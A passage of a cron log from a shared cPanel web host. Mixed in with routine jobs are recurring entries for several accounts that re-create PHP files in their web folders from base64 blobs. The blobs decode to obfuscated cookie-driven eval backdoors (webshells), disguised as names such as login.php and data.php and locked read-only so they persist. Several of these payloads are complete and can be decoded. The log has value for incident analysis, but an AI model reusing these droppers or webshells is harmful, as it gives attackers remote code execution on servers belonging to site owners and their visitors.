kX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:46:02 medusa CROND[16578]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:46:02 medusa CROND[16581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:46:02 medusa CROND[16582]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 01:46:02 medusa CROND[16589]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 01:46:02 medusa CROND[16595]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:46:02 medusa CROND[16600]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:46:02 medusa CROND[16601]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:46:02 medusa CROND[16605]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 01:47:01 medusa CROND[22803]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:47:01 medusa CROND[22804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:47:01 medusa CROND[22806]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 01:47:01 medusa CROND[22807]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:47:01 medusa CROND[22809]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 01:47:01 medusa CROND[22808]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:47:01 medusa CROND[22811]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:47:01 medusa CROND[22812]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:47:01 medusa CROND[22810]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:47:01 medusa CROND[22813]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:47:01 medusa CROND[22814]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:47:01 medusa CROND[22815]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:47:01 medusa CROND[22818]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:48:01 medusa CROND[29235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:48:01 medusa CROND[29345]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:48:01 medusa CROND[29404]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:48:01 medusa CROND[29407]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:48:01 medusa CROND[29413]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:48:01 medusa CROND[29418]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:48:01 medusa CROND[29420]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 01:48:01 medusa CROND[29422]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 01:48:01 medusa CROND[29423]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:48:01 medusa CROND[29427]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:48:01 medusa CROND[29439]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
